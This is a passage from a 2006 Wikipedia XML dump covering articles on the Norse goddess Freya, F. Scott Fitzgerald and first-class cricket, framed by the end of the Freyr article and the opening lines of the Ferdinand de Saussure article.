* &quot;Rällinge-Frö&quot; ''Historiska museet''. Retrieved 6 February 2006, from the World Wide Web. http://www.historiska.se/collections/treasures/viking/frej.html
* [[Benjamin Thorpe|Thorpe, Benjamin]] (tr.) (1866). ''Edda Sæmundar Hinns Froða : The Edda Of Sæmund The Learned''. (2 vols.) London: Trübner &amp; Co. [http://www.northvegr.org/lore/poetic2/000.php Available online]

{{Mythological king of Sweden | prev=[[Njörðr]] | next=[[Fjölnir]]}}

[[Category:Norse mythology]]
[[Category:Norse gods]]
[[Category:Fertility gods]]
[[Category:Love and lust gods]]

[[cs:Frey]]
[[da:Frej]]
[[de:Freyr]]
[[el:Φρέιρ]]
[[es:Frey]]
[[fr:Freyr]]
[[hr:Frey]]
[[is:Freyr (norræn goðafræði)]]
[[lt:Freiras]]
[[nl:Freyr]]
[[ja:フレイ]]
[[no:Frøy]]
[[nn:Frøy]]
[[pl:Frejr]]
[[pt:Frey]]
[[ru:Фрейр]]
[[sl:Freyr]]
[[sr:Фрејр]]
[[fi:Freyr]]
[[sv:Frej]]
[[zh:弗雷]]</text>
    </revision>
  </page>
  <page>
    <title>Freya</title>
    <id>11038</id>
    <revision>
      <id>40976672</id>
      <timestamp>2006-02-24T06:02:55Z</timestamp>
      <contributor>
        <ip>67.21.84.49</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the Norse goddess Freya. See [[Freya radar]] for the German WWII radar. For the municipality, see [[Frøya, Norway]]. For the [[FFIX]] character, see [[Freya Crescent]].''

[[Image:Freya.jpg|thumb|250px|Freya, in an illustration to [[Richard Wagner|Wagner]]'s operas by [[Arthur Rackham]].]]
'''Freya''' ([[Old Norse]]: ''Freyja''), sister of [[Freyr|Frey]] (''Freyr'') and daughter of [[Niord]] (''{{unicode|Nj&amp;#491;rðr}}''), is usually seen as the [[fertility goddess]] of [[Norse mythology]]. 

''Freyja'' means lady, female ruler, in Old Norse (cf. ''fru'' or ''Frau'' in [[Scandinavian languages|Scandinavian]] and [[German language|German]]). While there are no sources suggesting that she was called on to bring fruitfulness to fields or wombs, she was a goddess of [[love]], [[sex]], war, beauty, prophecies and [[interpersonal attraction|attraction]]. Freya correspondingly became one of the most popular goddesses.

According to Snorri's [[Edda]] Freya had a husband named [[Odr]]. He often went away on long journeys, and for this reason Freya cried tears of red gold. The [[Lay of Hyndla]] also names a protégé of Freya [[Óttar]].



==Prose Edda==
In [[Snorri Sturluson]]'s [[Prose Edda]], Freya is introduced as follows.
{|
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:''Njörðr í Nóatúnum gat síðan tvau börn, hét sonr Freyr en dóttir Freyja. Þau váru fögr álitum ok máttug. ... Freyja er ágætust af ásynjum, hon á þann bœ á himni er Fólkvangar heita, ok hvar sem hon ríðr til vígs, þá á hon hálfan val, en hálfan Óðinn ...''

:''Salr hennar, Sessrýmnir, hann er mikill ok fagr. En er hon ferr, þá ekr hon köttum tveim ok sitr í reið. Hon er nákvæmust mönnum til á at heita, ok af hennar nafni er þat tignarnafn er ríkiskonur eru kallaðar fróvur. Henni líkaði vel mansöngr. Á hana er gott at heita til ásta.'' - [http://www.hi.is/~eybjorn/gg/ggrpar23.html]
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:Njördr in Nóatún begot afterward two children: the son was called Freyr, and the daughter Freyja; they were fair of face and mighty. ... Freyja is the most renowned of the goddesses; she has in heaven the dwelling called Fólkvangr, and where so ever she rides to the strife, she has one-half of the kill, and Odin half ...

:Her hall Sessrúmnir is great and fair. When she goes forth, she drives her cats and sits in a chariot; she is most conformable to man's prayers, and from her name comes the name of honor, Frú, by which noblewomen are called. Songs of love are well-pleasing to her; it is good to call on her for furtherance in love. - [http://northvegr.org/lore/prose/037040.php]
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==Freya as goddess of love==
Freya was thought to be the most desirable of all goddesses. When she desired to acquire the famous necklace [[Brisingamen|Brosingamen]] (''Brísingamen'') from four [[Norse dwarves|dwarf]]s, ([[Dvalin]], [[Alfrik]], [[Berling]], and [[Grer]]), they desired a night each with her, a demand which she eventually acceded to. Later on,[[Odin]] made [[Loki]] steal the necklace for him, and demanded the same price of Freya as the dwarves had, though he eventually relented. 

Freya loved jewellery so much that she named her daughter &quot;Hnoss&quot;, meaning &quot;jewel&quot;. Besides the necklace [[Brisingamen|Brosingamen]], she owned a [[cloak]] of hawk/eagle feathers, which gave her the ability to change into any [[bird]]. She lends this garment to Loki in [[Þrymskviða]].

Early traditions do not distinguish clearly between Freya and [[Frigg]], though in the later Scandinavian mythology, Freya and [[Frigg]] were obviously not one and the same, being different goddesses with separate functions, personalities and symbols. They appeared in the same text together on many occasions, however. Some sources say Freya was married to Odin, most likely due to Frigg and Freya once being the same character, and Loki claims that she had a sexual relationship with her brother [[Freyr]] in ''[[Lokasenna]]''.

In two myths a [[Jotun|giant]] wants to marry Freya; the owner of [[Svaðilfari]] as related in ''[[Gylfaginning]]'' and [[Thrym]] as related in ''[[Þrymskviða]]''. Both were ultimately deceived and killed by the gods.

==Freya as battle goddess==
As a battle-goddess, Freya rides a boar called [[Hildesvini|Hildisvín]] the Battle-Swine. In the poem ''[[Hyndluljóð]]'', we are told that in order to conceal Ottar, Freya transformed him into the guise of a boar. The boar has special associations within Norse Mythology, both relative to the notion of fertility and also as a protective talisman in war, probably because real boars can be quite fierce animals. Seventh century [[Sweden|Swedish]] helmet plates depict warriors with large boars as their crests, and a boar-crested helmet has survived from Anglo-Saxon time and was retrieved from a [[tumulus]] at [[Benty Grange helmet|Benty Grange]] in [[Derbyshire]]. In [[Beowulf]], it is said that a boar on the helmet was there to guard the life of the warrior wearing it.

Other sources show that Freya rode a chariot drawn by a pair of cats the size of lions.

[[Image:Freyja and cats and angels by Blommer.jpg|thumb|right|250px|Freyja rides her cat-driven chariot in this romantic painting by [[Nils Blommér]].]]
Freya chooses certain of the slain on the battlefield to come under her wing in  the afterlife whilst [[Odin]] gets chooses others, according to ''[[Grimnismál|Grímnismál]]'':

:The ninth hall is Folkvang, where bright Freyja
:Decides where the warriors shall sit:
:Some of the fallen belong to her,  
:And some belong to Odin.

The association of Freya with death is underlined in [[Egil's saga]] when his daughter, [[Thorgerda]] (''&amp;#222;orger&amp;#240;r''), threatens to commit suicide in the wake of her brother's death, saying: &quot;I shall not eat until I sup with Freya&quot;.

Her palace was in [[Fólkvangr]] and her hall was [[Sessrúmnir]], known as the &quot;Rich-in-Seats&quot;. 

==Freya as a witch==
Freya was a skilled practitioner of ''[[Seid|sei&amp;#240;r]]'', a form of magic which Snorri relates in the ''[[Ynglinga Saga]]'' in his [[Heimskringla]] she introduced among the Aesir. It has been widely speculated that '''[[Gullveig]]''' was Freya under another name (This is unlikely, though, fair Freyja being very famous in her own right, that she would go prophetizing as [[Gullveig]], the eponymous seeress of the [[Völuspá]] without being clearly identified and recognized)  .

==Other names==
===Forms of &quot;Frey(j)a&quot;===
* Freia
* Froya
* Freja — common Danish and literary Swedish form.
* Friia — second [[Merseburg Incantations|Merseburg Charm]]
* Frija — variant of ''Friia''
* Frøya, Fröa — common Norwegian, and rural Swedish form.
* Reija — Finnish form
* [[Frya]] — the name of the eponymous [[Frisians|Frisian]] goddess in the controversial [[Oera Linda|Oera Linda Book]], though her attributes are somewhat different.

===Other forms===
*Gefn (according to [[Snorri Sturluson|Snorri]] Gefyon/Gefjun is not the same as Gefn)
*Heath
*Vanadís

==Homologues==
Freya might be considered the counterpart of [[Venus (mythology)|Venus]] and [[Aphrodite]], although she has a combination of attributes no known goddess possesses in the mythology of any other [[Indo European]] ancient people and might be regarded as closer to the Mesopotamian [[Ishtar]] as being involved in both love and war. It is also sometimes thought that she is the most direct mythological descendant from [[Nerthus]].

There is also frequent modern speculation that ''Freija'' is the same as ''[[Frigg]]'' (see the discussion under [[Frigg#Connection between Frigg and Freya|Connection between Frigg and Freya]]).

==References==
* ''[[Egils Saga]]''
* ''[[Grímnismál]]''
* ''[[Lokasenna]]''
* [[Snorri Sturluson]], ''The [[Prose Edda]]''
* [[H. R. Ellis Davidson]], ''Gods and Myths of Northern Europe''
* E. O. G. Turville-Petre, ''Myth and Religion of the North''
* Jan de Vries, ''Altgermanische Religionsgeschichte'', 2nd Edition (the seminal work of reference on Germanic and Scandinavian religion).


{{NorseMythology}}

[[Category:Love and lust goddesses]]
[[Category:Norse goddesses]]
[[Category:Norse mythology]]
[[Category:War goddesses]]

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[[uk:Фрейя]]</text>
    </revision>
  </page>
  <page>
    <title>F. Scott Fitzgerald</title>
    <id>11039</id>
    <revision>
      <id>42044240</id>
      <timestamp>2006-03-03T12:15:11Z</timestamp>
      <contributor>
        <username>AkaDada</username>
        <id>963112</id>
      </contributor>
      <minor />
      <comment>/* External links */  +el:</comment>
      <text xml:space="preserve">[[Image:Fitzgerald.jpg|thumb|F.Scott Fitzgerald, photographed by [[Carl Van Vechten]], 1937]]

'''Francis Scott Key Fitzgerald''' ([[September 24]], [[1896]] &amp;ndash; [[December 21]],[[1940]]) was an [[Irish American]] [[Jazz Age]] [[novelist]] and [[short story]] writer.

Fitzgerald is regarded as one of the greatest American writers of the [[twentieth century]]. In his own age, Fitzgerald was the self-styled spokesman of the &quot;[[Lost Generation]]&quot;, or the Americans born in the 1890s who came of age during [[World War I]]. He finished four novels, left a fifth unfinished, and wrote dozens of short stories that treat themes of youth, despair, and age. Many admire what they consider his remarkable emotional honesty. His heroes&amp;mdash;handsome, confident, and doomed &amp;mdash; blaze brilliantly before exploding, and his heroines are typically beautiful, intricate, and alluring.

==Early years==
Born in [[Saint Paul, Minnesota]] to an upper-middle class [[Roman Catholic Church|Roman Catholic]] family, Fitzgerald was named for his distant and famous relative [[Francis Scott Key]], but was commonly known as 'Scott'. 

Fitzgerald spent 1898 &amp;ndash;1901, and 1903 &amp;ndash; 1908 in [[Buffalo, New York]], where his father worked for [[Procter &amp; Gamble]]. When Fitzgerald, Sr., was fired, the family moved back to Minnesota, where Fitzgerald attended [[Saint Paul Academy and Summit School]] in [[Saint Paul, Minnesota]] from 1908 &amp;ndash; 1911. He then attended [[Newman School]], a prep school in Hackensack, New Jersey, in 1911 &amp;ndash; 1912. He entered [[Princeton University]] in 1913 as a member of the Class of 1917 and became friends with the future critics and writers [[Edmund Wilson]] (Class of 1916) and [[John Peale Bishop]] (Class of 1917). Saddled with academic difficulties throughout his three-year career at the university, Fitzgerald dropped out in 1917 to enlist in the United States Army when America entered [[World War I]]. 

[[Image:F_Scott_Fitzgerald_stamp.gif|thumb|300px|F. Scott Fitzgerald [[United States Postal Service]] stamp]]

Fearing he might die in the war, and determined to leave a literary legacy, Fitzgerald wrote a novel entitled ''The Romantic Egotist'' while in officer training at [[Camp Zachary Taylor]] and [[Camp Sheridan]]. When Fitzgerald submitted the novel to the publisher [[Charles Scribner's Sons]], the editor praised Fitzgerald but ultimately declined to publish.

The war ended shortly after Fitzgerald's enlistment, and he was discharged without ever having been shipped to Europe.

==Life with Zelda==
While at Camp Sheridan, Fitzgerald met [[Zelda Sayre]] (1900 &amp;ndash; 1948), the &quot;top girl,&quot; in Fitzgerald's words, of [[Montgomery, Alabama|Montgomery]], [[Alabama]], youth society. The two were engaged in 1919 and Fitzgerald moved into an apartment at 200 Claremont Avenue in [[New York City]] to try to lay a foundation for his life with Zelda. Working at an advertising firm and writing short stories, Fitzgerald was unable to convince Zelda that he would be able to support her. She broke off the engagement and Fitzgerald returned to his parents' house in St. Paul to revise ''The Romantic Egotist''. Recast as ''[[This Side of Paradise (novel)|This Side of Paradise]]'', it was accepted by [[Charles Scribner's Sons|Scribner's]] in the fall of 1919, and Zelda and Scott resumed their engagement. The novel was published on [[March 26]], [[1920]], and became one of the most popular books of the year, defining the [[flapper]] generation. The next week, Scott and Zelda were married in New York's [[St. Patrick's Cathedral, New York|St. Patrick's Cathedral]]. Their daughter and only child, [[Frances Scott Fitzgerald|Frances Scott &quot;Scottie&quot; Fitzgerald]], was born on [[October 26]], [[1921]].

==&quot;The Jazz Age&quot;==
The 1920s proved the most influential decade of Fitzgerald's development. His second novel, ''[[The Beautiful and Damned]]'', published in 1922, represents an impressive development over the comparatively immature ''This Side of Paradise''. ''[[The Great Gatsby]]'', which many consider his masterpiece, was published in 1925. Fitzgerald made several famous excursions to Europe, notably [[Paris]] and the [[French Riviera]], and became friends with many members of the American expatriate community in Paris, notably [[Ernest Hemingway]].

Hemingway prefaced his chapters concerning Fitzgerald in [[A Moveable Feast]] with this: &quot;His talent was as natural as the pattern that was made by the dust on a butterfly's wings. At one time he understood it no more than the butterfly did and he did not know when it was brushed or marred. Later he became conscious of his damaged wings and their construction and he learned to think and could not fly anymore because the love of flight was gone and he could only remember when it had been effortless.&quot;

Fitzgerald drew largely upon his wife’s intense personality in his writings, at times quoting direct segments of her personal diaries in his work. Zelda made mention of this in a 1922 mock review in the ''[[New York Tribune]]'', saying that “[i]t seems to me that on one page I recognized a portion of an old diary of mine which mysteriously disappeared shortly after my marriage, and also scraps of letters which, though considerably edited, sound to me vaguely familiar. In fact, Mr. Fitzgerald&amp;mdash;I believe that is how he spells his name&amp;mdash;seems to believe that plagiarism begins at home&quot; (''Zelda Fitzgerald: The Collected Writings'', 388).

Although Fitzgerald's passion lay in writing novels, they never sold well enough to support the opulent lifestyle that he and Zelda adopted as New York celebrities. To support this lifestyle, he turned to writing short stories for such magazines as the [[Saturday Evening Post]], [[Collier's Magazine]], and [[Esquire magazine]], and sold movie rights of his stories and novels to Hollywood studios. He was constantly in financial trouble and often required loans from his literary agent, [[Harold Ober]], and his editor at [[Charles Scribner's Sons|Scribner's]], [[Maxwell Perkins]].

Fitzgerald began working on his fourth novel during the late 1920s but was sidetracked by financial difficulties that necessitated his writing commercial short stories, and the schizophrenia that struck [[Zelda Sayre Fitzgerald]] in 1930. Her emotional health remained fragile for the rest of her life. In 1932, she was hospitalized in Baltimore, Maryland, and Scott rented the &quot;La Paix&quot; estate in the suburb of Towson to work on his book, which had become the story of the rise and fall of Dick Diver, a promising young psychiatrist and his wife, Nicole, who is also one of his patients. It was published in 1934 as ''[[Tender is the Night]]''. [http://www.pinkmonkey.com/booknotes/monkeynotes/pmTender01.asp] Critics regard it as one of Fitzgerald's finest works.

==Hollywood years==
Although he reportedly found movie work degrading, Fitzgerald was once again in dire financial straits, so he spent the second half of the 1930s in [[Hollywood]], working on commercial short stories, scripts for [[Metro-Goldwyn-Mayer]], and his fifth and final novel, ''[[The Love of the Last Tycoon]]'', which is often published under the shortened title ''The Last Tycoon'', based on the life of film executive [[Irving Thalberg]]. He and Zelda became estranged; she continued living in mental institutions on the east coast, while he lived with his lover [[Sheilah Graham]], a movie columnist, in [[Hollywood]]. 

From 1939 until his death, Fitzgerald mocked himself as a Hollywood [[Hack_writer|hack]] through the character of Pat Hobby in a sequence of 17 short stories later collected as &quot;[[The Pat Hobby Stories]].&quot; 

Fitzgerald had clearly been an [[alcoholic]] since his college days and he became notorious  during the 1920s for his extraordinarily heavy drinking. This consequently left him in poor health by the late 1930s. According to [[Zelda Fitzgerald]]'s biographer Nancy Milford, Scott Fitzgerald at various times also claimed that he had contracted [[tuberculosis]] but she states plainly that this was usually a pretext to cover his drinking problems. However, Milford also reports that Scott's biographer Arthur Mizener said that Scott did suffer a mild attack of tuberculosis in 1919 and that in 1929 Fitzgerald had &quot;what proved to be a tubercular hemorrhage&quot;. Given the extent of Scott's alcoholism, however, it is equally likely that the hemorrhage might have been caused by bleeding from [[oesophageal varices]] -- these are in effect, [[varicose veins]] in the oesophagus that result from dilated veins in the walls of the lower part of the oesophagus and sometimes the upper part of the stomach, usually because of [[hypertension]] caused by advanced liver disease.

Fitzgerald suffered two heart attacks in late 1940. After the first he was ordered by his doctor to avoid strenuous exertion and to obtain a first floor apartment. As [[Sheilah Graham]], his lover at the time, had an apartment on the first floor, he moved in with her. On the night of [[December 20]], [[1940]] he had his second heart attack; but since the doctor was to come to his house the following day, he and Sheilah went home. On [[December 21]], [[1940]], F. Scott Fitzgerald collapsed while clutching the mantlepiece in Sheilah Graham's apartment and died at the age of 44. 

His funeral was attended by very few people. Among the attendants was [[Dorothy Parker]], who reportedly cried and murmured, &quot;the poor son of a bitch,&quot; a line from [[Jay Gatsby]]'s funeral in Fitzgerald's ''The Great Gatsby''. Zelda died in a fire at the Highland mental institution in [[Asheville, North Carolina]], in 1948. The two were originally buried in [[Rockville Union Cemetery]] but with the permission and assistance of their only child, Frances &quot;Scottie&quot; Fitzgerald Lanahan Smith, the Women's Club of Rockville had their bodies moved to the family plot in [[Saint Mary's Cemetery (Maryland)|Saint Mary's Cemetery]], in [[Rockville, Maryland]]. 

Fitzgerald never completed ''[[The Love of the Last Tycoon]]''. His notes for the novel were edited by his friend [[Edmund Wilson]] and published in 1941 as ''The Last Tycoon''. However, there is now critical agreement that Fitzgerald intended the title of the book to be ''The Love of the Last Tycoon'', as is reflected in a new 1994 edition of the book, edited by Fitzgerald scholar [[Matthew Bruccoli]] of the [[University of South Carolina Columbia|University of South Carolina]].

==Works==

==='''Novels'''===
*''[[This Side of Paradise]]'' (1920)
*''[[The Beautiful and Damned]]'' (1922)
*''[[The Great Gatsby]]'' (1925)
*''[[Tender is the Night]]'' (1934)
*''[[The Love of the Last Tycoon]]'' (1940)

==='''Short story collections'''===
*''[[Flappers and Philosophers]]'' (1920)
*''[[Tales of the Jazz Age]]'' (1922)
*''[[All the Sad Young Men]]'' (1926)
*''[[Taps at Reveille]]'' (1935)
*''[[The Short Stories of F. Scott Fitzgerald]]&quot; (1989)

==='''Other works'''===
*''[[The Princeton Tiger]]'' (Humor Magazine, 1917)
*''[[The Vegetable]]'' (play, 1923)
*''[[The Crack-Up]]'' (essays and stories, 1945)

==Quotations==
* &quot;The test of a first-rate intelligence is the ability to hold two opposing ideas in mind at the same time and still retain the ability to function.&quot;
* &quot;I was the spark that lit up Flaming Youth, [[Colleen Moore]] was the torch. What little things we are to have caused all that trouble.&quot;
* &quot;There are all kinds of love in this world, but never the same love twice.&quot;
* &quot;Show me a hero, and I will write you a tragedy.&quot;
The following quotations are from ''[[The Great Gatsby]]'':
* &quot;Whenever you feel like criticizing any one, just remember that all the people in this world haven't had the advantages that you've had.&quot;
* &quot;Every one suspects himself of at least one of the cardinal virtues, and this is mine: I am one of the few honest people that I have ever known&quot;
* &quot;They are a rotten crowd,&quot; I shouted across the lawn. &quot;You're worth the whole damn bunch put together.&quot;
* &quot;Can't repeat the past?&quot; he cried incredulously. &quot;Why of course you can!&quot;
* &quot;The poor son of a bitch.&quot;
* &quot;They were careless people, Tom and Daisy—they smashed up things and creatures and then retreated back into their money or their vast carelessness or whatever it was that kept them together, and let other people clean up the mess they had made . . . .&quot;
* &quot;Tomorrow we will run faster, stretch out our arms farther... And one fine morning——— So we beat on, boats against the current, borne back ceaselessly into the past.&quot;
The Following quotation is from the short story ''[[Winter Dreams]]'':
* &quot;He wanted not association with glittering things and glittering people &amp;mdash; he wanted the glittering things themselves.&quot;

[[Ernest Hemingway]] once said of F. Scott Fitzgerald:
:&quot;His talent was as natural as the pattern that was made by the dust on a butterfly's wings&quot;


Hemingway is responsible for a famous misquotation of Fitzgerald's. According to the author, a conversation between him and Fitzgerald went:

:Fitzgerald: The rich are different than you and me.
:Hemingway: Yes, they have more money.

This never actually happened; it is a retelling of an actual encounter between Hemingway and [[Mary Colum]], which went as follows:

:Hemingway: I am getting to know the rich.
:Colum: I think you’ll find the only difference between the rich and other people is that the rich have more money.

The full quotation is found in Fitzgerald's words in his short story &quot;The Rich Boy&quot; (1926), paragraph 3: &quot;Let me tell you about the very rich. They are different from you and me. They possess and enjoy early, and it does something to them, makes them soft, where we are hard, cynical where we are trustful, in a way that, unless you were born rich, it is very difficult to understand.&quot;

==Biography and criticism==
*The standard biographies of Scott and Zelda Fitzgerald are Arthur Mizener's ''The Far Side of Paradise'' (1951, 1965), and Matthew Bruccoli's ''Some Sort of Epic Grandeur'' (1981). Bruccoli's account is more readable and more accurate. Fitzgerald's letters have also been published in various editions such as ''Dear Scott, Dearest Zelda: The Love Letters of F. Scott and Zelda Fitzgerald'', ed. Jackson R. Bryer and Cathy W. Banks (2002); ''Correspondence of F. Scott Fitzgerald'', ed. Matthew Bruccoli and Margaret Duggan (1980), and ''F. Scott Fitzgerald: A Life in Letters'', ed. Matthew Bruccoli (1994).
*Zelda Fitzgerald published a novel, ''[[Save Me the Waltz]]'', in 1932.
*The film &quot;[[Beloved Infidel]]&quot; (1959) portrays Fitzgerald (played by [[Gregory Peck]]) during his final years as a Hollywood [[scenarist]]. Another movie called &quot;[[Last Call]]&quot; (2002) ([[Jeremy Irons]] plays the role of F. Scott Fitzgerald) describes the relationship with [[Frances Kroll]] during his last two years of life.

===See also===
*[[List of famous Minnesotans]] ''(Hidden Hometown Heroes)''

==External links==
{{wikiquote}}
* {{gutenberg author| id=F.+Scott+Fitzgerald | name=F. Scott Fitzgerald}}

[[Category:1896 births|Fitzgerald, F. Scott]]
[[Category:1940 deaths|Fitzgerald, F. Scott]]

[[Category:American novelists|Fitzgerald, F. Scott]]
[[Category:American short story writers|Fitzgerald, F. Scott]]
[[Category:Cat lovers|Fitzgerald, F. Scott]]
[[Category:College dropouts|Fitzgerald, F. Scott]]
[[Category:Irish-Americans|Fitzgerald, F. Scott]]
[[Category:People from Minnesota|Fitzgerald, F. Scott]]
[[Category:Roman Catholics|Fitzgerald, F. Scott]]

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[[zh:佛兰西斯·史考特·基·费兹杰罗]]</text>
    </revision>
  </page>
  <page>
    <title>First-class cricket</title>
    <id>11040</id>
    <revision>
      <id>42074144</id>
      <timestamp>2006-03-03T17:20:25Z</timestamp>
      <contributor>
        <username>Srikeit</username>
        <id>759365</id>
      </contributor>
      <minor />
      <comment>/* Definition of first-class cricket */</comment>
      <text xml:space="preserve">'''First-class [[cricket]]''' matches are those in which both teams have two innings each and which involve either international teams or the highest standard of domestic teams. Generally, matches are eleven players a side but there have been exceptions to this.  Nowadays, all matches must be scheduled to have at least three days duration but, historically, matches were played to a finish with no pre-defined timespan.

== Point of Origin ==

The point of origin of first-class cricket is controversial and the issue has never been satisfactorily resolved.  [[As of 2005]], members of the [[Association of Cricket Statisticians and Historians]] (ACS) are striving to resolve the matter and the ACS committee has been asked to address the issue as a priority at the society's [[2006]] AGM.  

At one time, some cricket historians held that [[1864]] marked the origin of first-class cricket because that was when [[overarm bowling]] was officially introduced.  This date was rejected by other historians who argued that standards of play during the so-called &quot;roundarm era&quot; could not be termed &quot;second-class&quot;.  One prominent statistician then effectively challenged the 1864 date by producing a book of records that began in [[1815]], the year in which cricket began its recovery from the impact of the [[Napoleonic War]].  

Although 1815 ensured that the whole of the roundarm era was included in the first-class records, roundarm did not begin in any real sense until [[1827]] and was not legalised until [[1835]]; and even then the Laws had to be reinforced in [[1845]] by removing the benefit of the doubt from the bowler in the matter of his hand’s height when delivering the ball.  For most of the period from 1815 to 1845, underarm bowling continued to prevail and so 1815 as the point of origin was resisted by champions of the &quot;underarm era&quot; which had existed from time immemorial.  

As a result, some statisticians began to include games from the [[18th Century]] in their first-class records.  The main difficulty encountered by researchers before 1815 is the absence of match details and there are numerous matches in the 18th Century which are known about in name only, with no scores having survived.  The ACS decided sometime since [[1980]] that the first-class records should include all [[Gentlemen v Players]] matches and these began in [[1806]] but for some unexplained reason, the ACS decided to &quot;dump&quot; the start date into the century convenient year of [[1801]] and then left it there &quot;pending further research&quot;.

It is only in [[2005]] that the 1801 startpoint has been seriously challenged.  Scorecards for matches prior to 1801 have been loaded into the ACS-supported [http://www.cricketarchive.co.uk/ CricketArchive] database and there classified as major or minor pending an overall accord with the ACS, which is hoped to be achieved at the 2006 AGM as mentioned above.

There is a continuous though incomplete record from [[1772]] and there are surviving scorecards from a few earlier games, including two in [[1744]].  Some statisticians hold that the earlier games are too isolated for inclusion and that the first-class timespan should commence in 1772.  

The [http://acscricket.com/Articles/3/3126.html latest view that has been published by the ACS] is that the point of origin is [[1660]].  Historical evidence points to this date, in the aftermath of the [[Restoration]] as the time when teams of &quot;county strength&quot; were first assembled.  It is argued that 1660 should be the startpoint so as to encompass all matches that ultimately come to light.

No doubt the issue will continue to be discussed for some time to come.



== Conduct of a game of first-class cricket ==

The game is conducted similarly to [[Test cricket]], though usually of a maximum length of three or four days rather than the five of Test cricket (though a few are). (Technically, Test cricket is a form of first-class cricket. However, the term &quot;first class&quot; is usually used to refer to domestic competition only.) Around the world, these teams are usually representative of internal political divisions &amp;mdash; for instance, Australia's domestic first-class competition is between state representative teams. Due to the time demands of such a competition, first-class cricketers are mostly paid professionals.

A first class match played domestically has the same rules as Test matches, except for the number of days of play. Normally, the matches are conducted over three or four days. 

===The follow-on rule===
The follow-on minimum lead requirement in any two-innings cricket match is:
* Five or more days &amp;mdash; 200 runs
* Three or four days &amp;mdash; 150 runs
* Two days &amp;mdash; 100 runs
* One day &amp;mdash; 75 runs
If the whole first day of play is abandoned without a ball being bowled, then the number of days considered for the sake of calculating follow on are counted from the actual start of play. For example, if the first day of a four-day match is abandoned due to weather or other reasons, then the match is counted as a three-day one for the sake of determining follow on. (This would not make a difference if only one day is lost in a four-day match because the follow on requirement is the same for matches of four or three days.)

==Definition of first-class cricket==
As well as domestic competition, it is typical for international teams touring another country to play warm-up first-class matches against domestic teams. However, with the increasing schedule of international players and consequent more tightly-scheduled tours, the number of such one-off games is decreasing.
According to the [[International Cricket Council]], a match is first class if:
* It is of three or more days scheduled duration
* Each side playing the match has eleven players
* The match is played on natural, and not artificial, turf
* The match is played on an international standard ground
* The match conforms to the [[Laws of Cricket]], except for only minor amendments 
* The Board of cricket in the appropriate nation or the International Cricket Council recognizes the match as first-class.

A Test Match is a first class match played between two Full Member countries given the status of a Test match-playing nation by the International Cricket Council, following the Playing Conditions for Test Matches established by the International Cricket Council, and following various other regulations.

The following matches or competitions are also recognized as first-class by the appropriate Boards of Cricket, providing the above regulations are met: 

* [[United Kingdom]] and [[Ireland]]
** [[County Championship]] matches
** [[Marylebone Cricket Club]] versus a first class county
** [[University of Oxford|Oxford University]] versus [[University of Cambridge|Cambridge University]] 
** Cambridge, Durham, Oxford and Loughborough University Centres of Cricketing Excellence matches versus first class counties
** Scotland versus Ireland
** A first class team versus a touring first class team

* [[Australia]]
** [[Pura Cup]] matches.
** Australia 'A' versus Australian XI 
** Australia 'A' versus first class opponents, including State teams
** Australian XI versus first class opponents, including State teams
** A first class team versus a touring first class team

* [[South Africa]]
** Super Sport Series matches 
** A first class team versus a touring first class team

* [[West Indies]]
** Red Stripe Cup matches
** A first class team versus a touring first class team

* [[India]]
** [[Ranji Trophy]] matches
** [[Duleep Trophy]] matches
** [[Irani Trophy]] matches
** A State or regional associations versus another state or regional association, provided the associations are affiliated to the Board of Control for Cricket in India 
** A first class team versus a touring first class team

* [[New Zealand]]
** State Championship matches
** New Zealand 'A' versus a Cricket association, provided the association is affiliated to New Zealand Cricket
** A cricket association versus another cricket association, provided that the associations are affiliated to New Zealand Cricket
** New Zealand 'A' versus a first class opponent
** A cricket association versus a first class opponent, provided the association is affiliated to New Zealand Cricket
** A first class team versus a touring first class team

* [[Pakistan]]
** Quaid-e-Azam Trophy matches
** Cricket Associations and Departments (corporate teams) versus each other, or other first class opponents, provided the associations or departments are affiliated to the Pakistan Cricket Board, and the match is organized by the Pakistan Cricket Board
** Pakistan 'A' versus a touring Test team or Kenya
** Pakistan versus a touring 'A' team from a Test country or Kenya 
** Pakistan 'A' versus a touring 'A' team from a Test country or Kenya 
** A first class team versus a touring first class team

* [[Sri Lanka]]
** Premier League (Division I) Matches 
** Sri Lanka 'A' (or another team designated by the Board of Control for Cricket in Sri Lanka) versus a touring 'A' team
** A first class team versus a touring first class team

* [[Zimbabwe]]
** Logan Cup Matches
** A cricket association versus another cricket association, provided the associations are affiliated to the Zimbabwe Cricket Union
** A first class team versus a touring first class team

* [[Bangladesh]]

* [[Kenya]] (Not a Test Team)
** A first class team (including touring Test teams) versus Kenya

* Other Non-Test Full Member Countries
** Non-Test Full Member Country versus a first class touring team, with the consent of the touring team
** Official Test Trial matches.
** Special matches between teams adjudged first class by the Board(s) of cricket concerned, with the approval of the International Cricket Council
** Games played for the [[ICC Intercontinental Cup]]. This competition involves teams from USA, Canada, Bermuda, Ireland, Scotland, the Netherlands, Uganda, Kenya, Namibia, UAE, Malaysia and Nepal.

Notes: 
* A first class opponent is a team recognized as first class in its home country, and includes foreign touring Test teams (some first class teams are not entitled to play first class matches in other countries; such determinations are made by the local Board of cricket)
* The 'A' Team and the 'XI' Team are the representatives of a nation subordinate to the Test team, and are not always adjudged first class

== See also ==
*[[List of current first-class cricket teams]]

== External links ==
* [http://acscricket.com/index.html Association of Cricket Statisticians &amp; Historians]
* [http://www.cricketarchive.com/ CricketArchive]
* [http://www.ecb.co.uk Official ECB website]
* [http://www.thetwenty20cup.co.uk Twenty 20 Cricket]
* [http://www.lords.org/cricket/laws.asp The official laws of cricket]
* [http://www.cricket-online.org Cricket-Online]
* [http://www.cricinfo.com CricInfo]
* [http://cricketlearn.tripod.com Cricket Introduction]

{{Forms of cricket}}

[[Category:Cricket terminology]]
[[Category:First class cricket]]
[[Category:Forms of cricket]]

[[de:First-Class-Cricket]]</text>
    </revision>
  </page>
  <page>
    <title>Ferdinand de Saussure</title>
    <id>11041</id>
    <revision>
      <id>41416720</id>
      <timestamp>2006-02-27T04:27:37Z</timestamp>
      <contributor>
        <ip>66.75.246.9</ip>
      </contributor>
      <comment>/* Life and Work: */</comment>
      <text xml:space="preserve">{{Sem}}
[[Image:Ferdinand de Saussure.jpg|thumb|Saussure]]

'''Ferdinand de Saussure''' ([[November 26]], [[1857]] - [[February 22]], [[1913]]) was a [[Switzerland|Swiss]] [[linguist]], considered by many to be the father of [[structuralism]].

Born in [[Geneva]], he laid the foundation for many developments in [[linguistics]] in the [[20th century]]. He perceived linguistics as a branch of a general [[science]] of signs he proposed to call ''semiology'' (now generally known as [[semiotics]]). 
